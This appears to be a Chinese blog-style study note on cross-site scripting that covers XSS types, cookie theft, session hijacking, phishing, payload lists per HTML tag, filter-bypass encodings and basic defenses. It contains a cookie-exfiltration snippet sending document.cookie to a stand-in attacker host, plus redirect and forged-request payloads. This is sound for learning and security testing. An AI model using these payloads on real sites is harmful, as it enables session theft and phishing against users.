簡單概述
**
此篇系本人兩周來學習XSS的一份個人總結,實質上應該是一份筆記,方便自己日后重新回來復習,文中涉及到的文章我都會在末尾盡可能地添加上,此次總結是我在學習過程中所寫,如有任何錯誤,敬請各位讀者斧正。其中有許多內容屬於相關書籍、文章的部分摘取,如有侵權,請聯系我修改。(asp-php#foxmail.com)
**
1) 什么是XSS?
**
XSS(Cross-Site Script,跨站腳本)是由於web應用程序對用戶的輸入過濾不足而產生的一種漏洞。攻擊者可以利用網站漏洞把惡意的腳本代碼注入到網頁之中,當其他用戶瀏覽這些帶有惡意代碼的網頁時就會執行其中的惡意代碼,對受害者產生各種攻擊。
**
如果對以上描述還不是很了解的話,可以參考百度百科
在余弦大大和xisigr大大的書籍《Web前端安全技術揭秘》第三章中這樣說道:
跨站腳本的重點不在“跨站”上,而應該在“腳本”上...因為這個“跨”實際上屬於瀏覽器的特性,而不是缺陷,造成“跨”的假象是因為絕大多數的XSS攻擊都會采用嵌入一段遠程或者說第三方域上的腳本資源。
確實,當攻擊者的服務器上的js嵌入到受害者的頁面,至於接下來的攻擊就是關於“腳本”的事了。
2) XSS可以帶來哪些危害?
對於XSS攻擊的危害,大多數的人們卻沒有正確的認識,實際上攻擊者可以利用XSS攻擊造成巨大的危害。比如:
- 網頁掛馬;
- 盜取Cookie;
- DoS攻擊;
- 釣魚攻擊;
- 蠕蟲攻擊;
- 劫持用戶web行為;
- 結合CSRF進行針對性攻擊;
- ······
這些都是可以利用XSS漏洞來達成的。
3) XSS類型
目前的XSS總共可以分為三種類型:
- 反射型(也叫非持久型)
- 存儲型(也叫持久型)
- DOM型
PS:前兩種XSS都會與服務器產生交互,后一種不會產生交互。(某安全大佬面試)
反射型XSS
**
反射型XSS,也稱非持久型XSS,最常見也是使用最廣的一種。在反射型XSS中,payload一般存在於網頁的Url中,只用戶單擊時觸發,只執行一次,非持久化,故稱反射型XSS。攻擊者發送惡意Url鏈接讓受害者點擊(一般會對payload部分進行處理,如:編碼轉換和短域名跳轉)
**
由於篇幅問題,關於反射型XSS我就不做過多簡述。
有的人認為反射型XSS需要用戶已經登陸的情況下才能利用,其實不然。我們可以通過反射型xss讓瀏覽器遠程嵌入我們的js文件,然后配合瀏覽器漏洞進行RCE攻擊。這里給出個相近的例子:記一次從DOM型XSS到RCE過程。
存儲型XSS
存儲型XSS,也稱持久型XSS,攻擊者首先將惡意javascript代碼上傳或存儲到漏洞服務器中,只要受害者瀏覽包含此惡意javascript頁面就會執行惡意代碼,不需要用戶點擊特定Url就能執行,故存儲型XSS比反射型XSS更具威脅性。--- 《XSS跨站腳本攻擊剖析與防御》
存儲型XSS與反射型XSS最大的區別就在於提交的XSS代碼會儲存於服務端,下次再訪問目標頁面時不用再提交XSS代碼。---《Web前端黑客技術揭秘》
DOM型XSS
許多朋友對反射型XSS和存儲型XSS都比較清楚,可是卻不太了解什么是DOM型XSS,沒關系,看完這里你就應該會對DOM型XSS有個大概認識
DOM,即Document Object Model(文件對象模型)的縮寫,關於DOM的概念想了解的朋友可以在百度百科得到相應的解答。
DOM型XSS是如何產生的?我們知道,客戶端javascipt是可以訪問瀏覽器的DOM文本對象模型,如果沒有經過適當的過濾和消毒,那么應用程序可能會受到基於DOM的XSS攻擊。
在刺的《白帽子講Web安全》是這樣講的:
通過修改頁面的DOM節點形成的XSS,稱之為DOM Based XSS,也就是DOM型XSS。
舉個簡單的例子(來自《Web前端黑客技術揭秘》):
<html>
...
<script>
var a=document.URL;
document.write(a.substring(a.indexOf("a=")+2,a.length));
</script>
...
</html>
把以上代碼保存為1.html,然后打開瀏覽器訪問http://127.0.0.1/1.html#a=test
我們知道這是個靜態頁面,而且#后邊的內容並不會傳給服務器。

可是這樣就不會產生XSS漏洞了嗎?如果我們訪問
http://127.0.0.1/.html#a=<script>alert(/xss/)</script>
當我們訪問上述url時,服務器會返回源代碼,我們可以用抓包工具截取,發現與正常訪問的頁面無差別,可是當瀏覽器收到源代碼時便把HTML文本解析成DOM對象並執行,結果彈出/xss/消息框,感興趣的朋友可以試試。
具體執行過程如圖:
4) XSS的利用方式
前面我們介紹了各種XSS的特點及產生方式,現在我們來說說如何利用這些漏洞。
Cookie竊取
Cookie盜取是xss攻擊中最實用也是最廣泛的一種利用方式之一。我們知道Cookie是Web系統識別用戶的身份和保存會話狀態的主要機制,且是由服務器提供的、存儲在客戶端的一種數據。同時,對於cookie的操作十分的方便,我們可以通過Document對象訪問Cookie。如:<script>alert(document.cookie)</script>會彈出當前頁面的cookie信息。
這里我們引入一個叫做“同源策略”的概念:
首先,同“源”的源不單單是指兩個頁面的主域名,還包括這兩個域名的協議、端口號和子級域名相同。舉個例子,假設我現在有一個頁面
http://www.a.com/index.html,域名是www.a.com,二級域名為 www,協議是 http,端口號是默認的 80,這個頁面的同源情況如下:
同源策略存在的意義就是為了保護用戶的信息的安全。一般網站都會把關於用戶的一些敏感信息存在瀏覽器的 cookie 當中試想一下,如果沒有同源策略的保護,那么 b 頁面也可以隨意讀取 a 頁面存儲在用戶瀏覽器 cookie 中的敏感信息,就會造成信息泄露。如果用戶的登錄狀態被惡意網站能夠隨意讀取,那后果不堪設想。由此可見,同源策略是非常必要的,可以說是瀏覽器安全的基石。
除了 cookie 的訪問受到同源策略的限制外,還有一些操作也同樣受到同源策略的限制:
(1) 無法讀取非同源網頁的 Cookie 、sessionStorage 、localStorage 、IndexedDB
(2) 無法讀寫非同源網頁的 DOM
(3) 無法向非同源地址發送 AJAX請求(可以發送,但瀏覽器會拒絕響應而報錯)
————引自晚風表哥在信安之路上的投稿文章《同源策略與跨域請求》
我們知道Cookie有如下常見的屬性:
- Domain————設置關聯Cookie的域名;
- Expires————通過給定一個過期時間來創建一個持久化Cookie;
- Httponly————用於避免Cookie被Javascript訪問;
- Name————Cookie的名稱;
- Path————關聯到Cookie的路徑,默認為/;
- Value————讀寫Cookie的值;
- Secure————用於指定Cookie需要通過安全Socket層傳遞連接;
並且Cookie也可以安裝類型分為:
- 本地Cookie————即儲存在計算機硬盤中,關閉瀏覽器后依舊存在;
- 內存Cookie————即儲存在內存中,隨瀏覽器的關閉而消失;
如何區分兩者很簡單,只要判斷cookie中的expires即過期時間屬性有沒有設置,如果設置了即為本地cookie,反之為內存cookie。
由於Cookie具有的不同屬性,我們可以將不同屬性的Cookie盜取方式分為以下幾種情況
默認
默認情況,即不對Cookie的任何屬性進行指定就設置Cookie的情況。這種情況下Cookie的獲取最為簡單。可以通過下列方式獲取
<script>
new Image().src="http://www.hacker.com/cookie.php?cookie="+document.cookie;
</script>
不同域
這是由於domain字段的機制導致的。一個Cookie如果不知道domain的值,則默認為本域。
例如有兩個網站www.a.com和test.a.com且后者存在xss漏洞,按照同源策略,這兩個網站是不同源的,默認情況下我們無法直接從test.a.com獲取到www.a.com的Cookie,可是如果www.a.com的Cookie值中的domain屬性設置為父級域即a.com,就可以通過test.a.com的xss漏洞獲取到www.a.com的Cookie值。
不同路徑
這是由於path字段的機制導致的。在設置Cookie時,如果不指定path的值,默認就是目標頁面的路徑。比如在www.a.com/admin/index.php設置cookie值且不知道path,那么path默認為/admin/。javascript可以指定任意路徑的cookie,但是只有對於path值的目錄下才能讀取Cookie,即上述例子中只有/admin/目錄下的javascipt才能讀取前邊設置的Cookie。
Http Only
HttpOnly是指僅在Http層面上傳輸的Cookie,當設置了HttpOnly標志后,客戶端腳本就無法讀取該Cookie,這樣做能有效防御XSS攻擊獲取Cookie,也是目前防御XSS的主流手段之一。不過利用某些特定方式也可以同樣讀取到標志了HttpOnly的Cookie。
- 利用調試信息,如:PHP的phpinfo()和Django的調試信息,里邊都記錄了Cookie的值,且標志了HttpOnly的Cookie也同樣可以獲取到。
- 利用Apache Http Server 400錯誤暴露HttpOnly Cookie的特點。
感興趣的朋友可以查閱相關資料(《Web前端黑客技術揭秘》p36-39)
Secure
Secure是指設置了Secure的Cookie盡在HTTPS層面上進行安全傳輸,如果請求是HTTP的,則不會帶上改Cookie,這樣做的好處是可以降低Cookie對中間人攻擊獲取的風險,不過對我們此處討論的XSS攻擊無攔截效果,可通過默認情況下獲取。
P3P
HTTP響應頭的P3P字段可以用於標識是否允許目標網站的Cookie被另一域通過加載目標網站而設置或發送,據說僅IE支持(17年)。
我們來舉個例子,在A域通過iframe等方式加載B域(此時也稱B域為第三方域),如果我們想通過B域來設置A域的Cookie,或加載B域時帶上B域的Cookie,這時就得涉及到P3P。
B域設置A域Cookie
在IE下默認是不允許第三方域設置的的,除非A域在響應頭帶上P3P字段。當響應頭頭帶上P3P后,IE下第三方域即可進行對A域Cookie的設置,且設置的Cookie會帶上P3P屬性,一次生效,即使之后沒有P3P頭也有效。
加載B域時Cookie傳入問題
我們知道Cookie分為內存Cookie和本地Cookie,當我們通過A域加載B域時,默認是帶內存Cookie加載(如果無內存Cookie則不帶),而如果想要帶本地Cookie加載,則本地Cookie必須帶P3P屬性。
- 相關文章:用P3P header解決iframe跨域訪問cookie
- 相關閱讀:《Web前端黑客技術揭秘》p41-42
會話劫持
由於Cookie的不安全性,開發者們開始使用一些更為安全的認證方式——Session。
這里引用《XSS跨站腳本攻擊剖析與防御》p51-52頁的內容
Session的中文意思是會話,其實就是訪問者從到達特定主頁到離開的那段時間,在這個過程中,每個訪問者都會得到一個單獨的Session。Session是給予訪問的進程,記錄了一個訪問的開始到結束,搭檔瀏覽器或進程關閉之后,Session也就“消失”了。
在Session機制中,客戶端和服務端也有被其他人利用的可能。
Session和Cookie最大的區別在於:Session是保存在服務端的內存里面,而Cookie保存於瀏覽器或客戶端文件里面
這里提到Session是因為我們在現實情況中可能會出現已經獲取到了Cookie,但是由於用戶已經退出了瀏覽器指示Session無效,導致我們無法通過Cookie欺騙來獲取用戶權限;又比如有的網站設置了HttpOnly,獲取不到Cookie;再者有的網站將Cookie與客戶端IP向綁定;此時我們便可以利用會話劫持來達到目的。
會話劫持的實質就是模擬GET/POST請求(帶Cookie)通過受害者瀏覽器發送給服務器,我們可以通過下面的方式來完成。
- 通過javascript控制DOM對象來發起一個GET請求,如:
var img = document.creatElement("img");
img.src = "http://www.a.com/del.php?id=1";
document.body.appendChild(img);
- 通過javascript自動構造隱藏表單並提交(POST)
- 通過XMLHttpRequest直接發送一個POST請求
我們可以通過構造的GET/POST請求來實現如添加管理員、刪除文章、上傳文件等操作。XSS蠕蟲從某種意義上來說也屬於會話劫持。
釣魚
現在一般我們都可以很容易的防范釣魚網站,可是當釣魚網站與XSS漏洞結合呢?設想一下,如mail.qq.com的頁面存在XSS漏洞,攻擊者通過iframe替換了原來的頁面成釣魚頁面,並且網頁的Url還是原來的頁面,你是否能察覺出來?
XSS重定向釣魚
即從www.a.com通過xss漏洞跳轉到www.b.com的釣魚頁面上,整個過程變化明顯,受害者易察覺。
http://www.a.com/index.php?search=<script>document.location.href="http://www.b.com/index.php"</script>
HTML注入式釣魚
通過javascript來修改頁面的DOM對象屬性,或在原頁面中添加新的DOM元素。前者相對於后者更隱蔽。
Iframe
攻擊者通過javascript來添加一個新的<Iframe>標簽嵌入第三方域的內容(釣魚網頁),此時主頁面仍處於正常頁面下,具有極高的迷惑性。
5) XSS漏洞的挖掘
就目前而言,XSS漏洞的挖掘主要分為白盒審計和黑盒Fuzz兩種。
白盒審計
通過查看源代碼來判斷網站的交互點是否存在安全過濾。由於此處涉及代碼審計內容(其實就是懶),就細說,這里直接引用書中總結的。
分析源代碼挖掘XSS的一般思路是:查找可能在頁面輸出的變量,檢驗它們是否受到控制,然后跟蹤這些變量的傳遞過程,分析它們是否被htmlencode()之類的函數過濾
黑盒審計
這個可得好好說說了,畢竟我們在現實環境中挖掘XSS漏洞時黑盒的情況偏多。我們進行XSS黑盒測試時主要分為手工檢測和工具檢測。
手工檢測
首先我們需要盡可能地找到目標的每個輸入輸出點並挨個嘗試;在進行嘗試的時候,我們應優先選擇特殊字符進行測試,如"<>&;/':等,如果連<>都未過濾/轉義,那么該輸入點很可能存在XSS漏洞。
如果<>等標記符號都被過濾/轉義了,我們也可以使用標簽自身的屬性/事件(href,lowsrc,bgsound,backgroud,value,action,dynsrc等)來觸發XSS,如
<input name="xx" value=<?=$query?>>這里的$query屬於動態內容,我們把他替換成惡意代碼,最終的代碼為<input name="xx" value=xss onmouseover=evil_script>。
一般來說,針對輸入框的黑盒測試可能存在反射型XSS,也可能存在存儲型XSS,還有可能是DOM型,針對Url參數的黑盒測試絕大多數只存在反射型XSS或DOM型XSS。
常見標簽
<img>標簽
利用方式1
<img src=javascript:alert("xss")>
<IMG SRC=javascript:alert(String.formCharCode(88,83,83))>
<img scr="URL" style='Xss:expression(alert(/xss));'
<!--CSS標記xss-->
<img STYLE="background-image:url(javascript:alert('XSS'))">
XSS利用方式2
<img src="x" onerror=alert(1)>
<img src="1" onerror=eval("alert('xss')")>
XSS利用方式3
<img src=1 onmouseover=alert('xss')>
<a>標簽
標准格式
<a href="https://www.baidu.com">baidu</a>
XSS利用方式1
<a href="javascript:alert('xss')">aa</a>
<a href=javascript:eval(alert('xss'))>aa</a>
<a href="javascript:aaa" onmouseover="alert(/xss/)">aa</a>
XSS利用方式2
<script>alert('xss')</script>
<a href="" onclick=alert('xss')>aa</a>
利用方式3
<a href="" onclick=eval(alert('xss'))>aa</a>
利用方式4
<a href=kycg.asp?ttt=1000 onmouseover=prompt('xss') y=2016>aa</a>
input標簽
標准格式
<input name="name" value="">
利用方式1
<input value="" onclick=alert('xss') type="text">
利用方式2
<input name="name" value="" onmouseover=prompt('xss') bad="">
利用方式4
<input name="name" value=""><script>alert('xss')</script>
<form>標簽
XSS利用方式1
<form action=javascript:alert('xss') method="get">
<form action=javascript:alert('xss')>
XSS利用方式2
<form method=post action=aa.asp? onmouseover=prompt('xss')>
<form method=post action=aa.asp? onmouseover=alert('xss')>
<form action=1 onmouseover=alert('xss)>
XSS利用方式3
<!--原code-->
<form method=post action="data:text/html;base64,<script>alert('xss')</script>">
<!--base64編碼-->
<form method=post action="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
<iframe>標簽
XSS利用方式1
<iframe src=javascript:alert('xss');height=5width=1000 /><iframe>
XSS利用方式2
<iframe src="data:text/html,<script>alert('xss')</script>"></iframe>
<!--原code-->
<iframe src="data:text/html;base64,<script>alert('xss')</script>">
<!--base64編碼-->
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4=">
XSS利用方式3
<iframe src="aaa" onmouseover=alert('xss') /><iframe>
XSS利用方式3
<iframe src="javascript:prompt(`xss`)"></iframe>
svg<>標簽
<svg onload=alert(1)>
iframe
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgneHNzJyk8L3NjcmlwdD4="></iframe>
——引自wkend的文章《XSS小節》
工具檢測
關於XSS的自動檢測軟件有許多,如Burp的Scan模塊,BruteXSS等,這里不做過多解釋。
6) shellcode的繞過
繞過XSS-Filter
XSS-Filter是一段基於黑名單的過濾函數,大多數CMS都有這么個函數,作用於用戶的每一個輸入點,用於過濾可能的惡意代碼。不過從某種意義上來說,基於黑名單的保護是一定不會是安全的,由於XSS的多變性,幾乎不可能存在完全地過濾。
空格回車和Tab
對XSS-Filter而言,如果僅僅是將函數加入黑名單處理,那么可以在函數名稱之中嘗試加入空格、回車、Tab等鍵位符來進行繞過。這是由於在javascript中只會將;作為語句的終止符,當瀏覽器引擎解析javascript腳本時沒有匹配到;便會繼續處理,知道發現下個分號為止,而換行符並不是終止符。如下列代碼可繞過對關鍵字javascript|alert的過濾:
<img src=javasc
ript:aler
t(/xss/)>

對標簽屬性值進行轉碼
HTML中屬性值支持ASCII碼形式,如
<img src="javascript:alert('xss');">
替換成
<img src="javascript:alert('xss');">
其中在ASCII表中116為t,58為:。
也可以將,等插入javascript的頭部,還可以將tab(	)|換行符(
)|回車鍵(
)插入到代碼中的任意位置。
Fuzz標簽未過濾事件名
如<img src=x onerror=alert(/xss/)>其中的onerror即為IMG標簽的一個事件,通常這樣的事件都是以on開頭,常見的有:
onResume
onReverse
onSeek
onSynchRestored
onURLFlip
onRepeat
onPause
onstop
onmouseover
除此之外還有很多事件可以利用,這里不再一一列舉。
使用Css繞過
利用Css樣式表可以執行javascript的特性,如
Css直接執行javascript:
<div style="background-image:url(javascript:alert('xss'))">
<style>
body {background-image:url("javascript:alert('xss')");}
</style>
css中使用expression執行javascript:
<div style="width: expression(alert('xss'))">
<img src="#" style="xss:expression(alert(/xss/))">
<style>
body {background-image:expression("alert('xss')");}
</style>
在上述的兩個例子中,都用到了樣式表的url屬性來執行XSS代碼。
除了上述兩種,還可以利用@import直接執行javascript代碼
<style>
@import 'javascript:alert("xss")';
</style>
在現實環境下,HTML頁面中的Css與Javascript的嵌入方式很相似,且Css也可以執行javascript代碼,故我們的XSS代碼也可以通過嵌入遠程惡意css文件來進行XSS攻擊。
擾亂規則
- 大小寫變換;
- 利用expression執行跨站代碼的時候,可以構造不同的全角字符來擾亂過濾規則;
- 結合樣式表注釋字符/**/,通過css執行javascript
- 樣式標簽會過濾
\和\0,可以構造如@i\mp\0\0ort 'jav\0asc\0rip\t:al\0er\t("x\0ss")'繞過 - Css關鍵字進行編碼處理,如
<p style="xss:\0065xpression(alert(/xss/))">其中65為字母e進行unicode編碼后的數字部分 - 利用瀏覽器解析注釋的問題
利用字符編碼
javascript支持許多的編碼格式,如:
- unicode
- escapes
- 十六|十|八進制
如果能將這些編碼格式運用進跨站攻擊,無意能大大加強XSS的威力
在IE下甚至支持JScript Encode加密后的代碼
拆分法
如果一個網站規定了輸入的最大長度,但是ShellCode又太長,那么久可以拆分成幾個部分,最后在組成起來。相關文章:《瘋狂的跨站之行》劍心(非原鏈接)
7) XSS防御
說了那么多,那我們該如何防御這看似防不勝防的XSS攻擊呢?
輸入
嚴格控制用戶可輸入的范圍,如手機號只能輸入數字且長度不能大於11位等,如需輸入某些敏感字符的情況下可對數據進行轉義處理,對於用戶數據的過濾盡可能地采用白名單而不是黑名單。
輸出
減少不必要的輸出,在需要輸出的地方使用HTML編碼將敏感字符轉義為實體符,javascript進行DOM操作時注意不要將已轉義的實體符再次解析成DOM對象。
其他
設置HttpOnly,開啟WAF。
寫在最后
感謝參考資料中各位分享技術的大牛,小弟才筆有限,僅僅介紹了XSS攻擊中的一部分,仍有一部分由於種種原因我沒有寫進來。比如整篇文章都是Javascript,實際上在遇到XSS問題時我們還需考慮VBscript、Actionscript等等,還有許多優秀的案例由於篇幅問題無法寫上了,可能會導致部分讀者理解不全面,在這里向大家說聲抱歉,我會在下面的參考中列出我參考的書籍與文章供各位讀者查看。XSS的學習暫時放下了,下一站——SQL注入,雖然對此有些淺顯的認知,但還是希望能系統的學一遍,可能會在下個月發出來,感興趣的讀者可以關注我的博客。
參考資料
**
書籍:
《Web前端黑客技術揭秘》
《XSS跨站腳本攻擊剖析與防御》
《白帽子講Web安全》
《黑客攻防技術寶典Web實戰篇》第二版
文章:**
XSS小結
淺說 XSS 和 CSRF
Session攻擊手段(會話劫持/固定)及其安全防御措施
附錄
https://github.com/ChrisLinn/greyhame-2017/blob/master/skills/web.md 2017灰袍技能精華
https://github.com/rajeshmajumdar/BruteXSS BruteXSS
https://github.com/beefproject/beef Beef神器
https://github.com/1N3/XSSTracer 用於檢查跨站點跟蹤的小型python腳本
https://github.com/0x584A/fuzzXssPHP 一個非常簡單的反射XSS掃描儀支持GET/POST
https://github.com/chuhades/xss_scan 反射xss掃描器
https://github.com/BlackHole1/autoFindXssAndCsrf 瀏覽器的插件,它自動檢查頁面是否具有xss和漏洞
https://github.com/shogunlab/shuriken xss命令行工具用於測試web應用程序中xss負載列表
https://github.com/UltimateHackers/XSStrike 用於XSS、WAF檢測和旁路的模糊和蠻力參數
https://github.com/stamparm/DSXS 一個完全功能的跨站點腳本漏洞掃描器,支持獲取和發布參數,並寫入100行代碼

